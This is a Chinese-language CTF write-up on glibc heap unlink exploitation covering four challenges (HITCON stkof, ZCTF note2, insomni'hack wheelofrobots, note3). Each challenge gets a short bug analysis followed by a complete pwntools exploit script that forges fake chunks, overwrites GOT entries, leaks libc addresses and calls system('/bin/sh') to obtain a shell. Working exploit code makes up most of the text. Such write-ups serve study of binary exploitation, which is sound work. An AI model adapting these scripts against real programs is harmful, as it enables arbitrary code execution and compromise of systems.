由于unlink的检查,一般利用存储堆地址的地方(可能是个全局数组,全局变量或者其他下次能访问的地方)的地址-0x18 赋值给fd,-0x10赋值给bk(64位情况下,32位下分别是-0xc,-0x8), 然后构造unlink后该地址存储的堆地址被修改为该地址-0x18的地方,于是再操作目标堆就变成操作该地址-0x18上面的数据,达到了修改
1.实例2014 HITCON stkof
题目分析
(1)可以指定大小分配内存
(2)分配的内存的地址存储在全局数组中
(3)修改时可以写入任意长度数据,导致堆溢出,这里可以主动触发unlink
总结:
由堆溢出修改下一个chunk的inuse和prev_size并释放下一个chunk,导致对该chunk的unlink操作.
exp:
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
2.实例2016 ZCTF note2
题目分析
1.myread里面有整数下溢出,可导致堆溢出
2.分配的内存指针存储在全局变量数组
3.和上一个例子差不多,通过堆溢出修改chunk关键字段,free某个chunk时主动触发unlink,从而可以修改堆数组
4.利用atoi的got覆盖为system,好处在于可以输入字符串参数/bin/sh直接调用,不用构造这个参数了
exp:
# coding=UTF-8
from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')
# chunk0: a fake chunk
ptr = 0x0000000000602120#程序中用来存储各个note的地址
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
gdb.attach(p)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)#此时视为chunk2后面的0xa0大小部分为未使用的,故发生合并操作,合并之前需要对其unlink
# overwrite the chunk0(which is ptr[0]) with got atoi
#got表地址是直接可以用的,因此将atoigot表地址覆盖note1地址,这样读取的时候会将atoi真正地址读取出来
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)
p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']#再结合符号表中atoi对libc的偏移即可得到libc基址
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']#同时又可以获得system真正的地址
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)#通过编辑note1将system地址写入到atoi 的got表
# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')#再次触发执行atoi并将此次输入作为参数,而真正调用的是system,故能getshell
p.interactive()
3.实例2017 insomni'hack wheelofrobots
程序逻辑比较复杂,robots和wheel,给robots添加wheel,这个robots不用管它,添加wheel时,有几种类型:
bender
chain
destructor
tinny
devil
ire
最多分配2个wheel,不能2个是同类型的wheel,每次分配前每个类型的wheel有对应的全局标识变量标识是否已经被分配过一次,每次分配的指针存储在全局变量,这些全局变量在bss连续挨着的.
其中只有bender,destructor和devil类型的wheel可以设置自定义大小
可以修改这些wheel的堆内容
可以查看某个wheel的堆地址
全局变量的off by one可以修改bender的是否已经被使用的标识变量
在这里将标识修改,从而释放后重引用,将fd修改为destructor size处,再次分配得到处于destructor size地址的堆,从而可以修改destructor size,再对destructor 堆进行溢出,实现unlink,对destructor 修改相当于修改这些堆指针,修改tinny指针指向destructor 地址,
这样再次修改destructor 实现任意地址写任意数据
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))
def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))
def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)
def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')
def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
def exp():
print "step 1"
# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2
remove(2)
# overflow bender inuse with 1
#对optionnum进行溢出,将benderinuse覆盖为1
overflow_benderinuse('\x01')
# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
#根据ida 0x603138是bender's size地址
change(2, p64(0x603138))
# in order add bender again
overflow_benderinuse('\x00')
# add bender again, fastbin->0x603138->NULL
add(2, 1)
# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
#这个分配不会在fastbin里分配
add(3, 0x20)#这里会将devil的size设置为0x20,而他的地址正好是0x603140
# trigger malloc, set tinny point to 0x603148
add(1)
# wheels must <= 3
remove(2)
remove(3)
print 'step 2'
# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3)
# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)
# edit destructor's size to 1000 by tinny
change(1, p64(1000))
# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, 'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk)
# trigger unlink,这个执行之后destructor指向自己的地址-0x18处,从而编辑destructor就会编辑到
#tinny 的地址.
remove(3)
print 'step 3'
# make 0x6030F8 point to 0x6030E8
#所以这个地方将tinny 的地址0x6030F8的内容修改为0x6030E8,这时再修改tinny的描述,就会改掉destructor
#的指向,实现了任意地址写任意数据
payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
change(6, payload)
print 'step 4'
# make exit just as return
write(robots.got['exit'], 0x401954)
print 'step 5'
# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)
# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot()
p.recvuntil('New hands great!! Thx ')
puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
# make free->system
write(robots.got['free'], system_addr)
# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)
# get shell
remove(6)
p.interactive()
pass
if __name__ == "__main__":
exp()
4.实例note3
题目分析
1.还是负数处理的问题,最高位为1,其余位为0时,则加负号也等于自己 if ( v1 < 0 ) v1 = -v1;
2.还是用一个数组存储堆指针.
3.通过修改第3个堆溢出第4个堆,然后free4堆,对第3个堆进行unlink,指向数组的第0项,修改第3项堆内容再修改第0项
实现任意地址写.
总之和note2差不多,只是导致堆溢出条件不同而已
exp:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import time
def malloc(size,data):
print conn.recvuntil('>>')
conn.sendline('1')
print conn.recvuntil('1024)')
conn.sendline(str(size))
print conn.recvuntil('content:')
conn.sendline(data)
print conn.recvuntil('\n')
def edit(id,data):
print conn.recvuntil('>>')
conn.sendline('3')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('ent:')
conn.sendline(data)
print conn.recvuntil('success')
def free(id):
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('success')
#conn = remote('127.0.0.1',9999)
conn = process('./note3')
elf = ELF('./note3')
libc = conn.libc
free_got = elf.got['free']#p64(0x602018)
puts_got = elf.got['puts']#p64(0x602020)
#stack_got = elf.got['free']#p64(0x602038)
printf_got = elf.got['printf']#vp64(0x602030)
exit_got = elf.got['exit']#p64(0x602078)
printf_plt = elf.plt['printf']#p64(0x400750)
puts_plt = elf.plt['puts']#p64(0x400730)
#libcstartmain_ret_off = 0x21b45
#sys_off = 0x414f0
libcstartmain_ret_off = 0x20740
sys_off = 0x45390
# 1. int overflow lead to double free
intoverflow = -9223372036854775808
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
# 2. make a fake chunk and modify the next chunk's pre size
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
# 3. double free
free(4)
# 4. overwrite got
edit(3,p64(free_got))
#gdb.attach(conn)
#这里有个大坑,free的got和puts的got是挨着的,如果只覆盖一个会将\x00覆盖掉puts的低字节
#因为函数高字节的为0x00,所以可以改为p64(xxx)[:-2]避免写入太多字符覆盖到puts低字节
edit(0,p64(printf_plt)+p64(printf_plt))
# 5. leak the stack data
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
#free->puts
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
#time.sleep(0.3)
ret = conn.recvuntil('success')
print ret
# 6. calcuate the system's addr
libcstart = ret.split('.')[10]
libcstart_2 = int(libcstart,16)-0xf0
libcstart_2 = libcstart_2 - libcstartmain_ret_off
print 'libc start addr:',hex(libcstart_2)
system_addr = libcstart_2 + sys_off
print 'system_addr:',hex(system_addr)
#gdb.attach(conn)
# 7. overwrite free's got
edit(3,p64(free_got))
edit(0,p64(system_addr)+p64(printf_plt))
# 8. write argv
edit(3,p64(0x6020d0))
edit(0,'/bin/sh\0')
# 9. exploit
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
sleep(0.2)
conn.interactive()
网友评论